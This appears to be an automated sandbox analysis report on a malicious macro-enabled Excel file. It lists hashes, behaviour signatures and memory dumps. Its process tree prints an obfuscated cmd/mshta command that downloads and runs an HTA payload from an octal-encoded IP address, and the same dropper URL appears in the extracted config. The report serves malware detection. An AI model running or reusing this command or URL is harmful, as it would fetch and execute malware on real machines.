Analysis

  • max time kernel
    122s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    17-01-2022 23:18

General

  • Target

    D73.xlsm

  • Size

    110KB

  • MD5

    88ba108c5c564f6dab3e1c4031a9a7e9

  • SHA1

    fbffd091afdae3d1e40a17e4f1c73174afc6234e

  • SHA256

    b74ebda344b21397a7dda793d725fc98a04efae5d4cc51c8c8b6f9c253bdcb83

  • SHA512

    82fec2d0679d56c1911d606463a5f5894c5de0ded95a11315f38fea796298884b24a37b10f9c5d1df3fdfc044b06c71f75e74d7b53fab57c133798a0124736ff

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0056.0151.0121.0114/c.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\D73.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1308
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0056.0151.0121.0114/c.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:560
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0056.0151.0121.0114/c.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        PID:1092

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1308-53-0x000000002FA51000-0x000000002FA54000-memory.dmp

    Filesize

    12KB

  • memory/1308-54-0x0000000071A51000-0x0000000071A53000-memory.dmp

    Filesize

    8KB

  • memory/1308-55-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1308-58-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB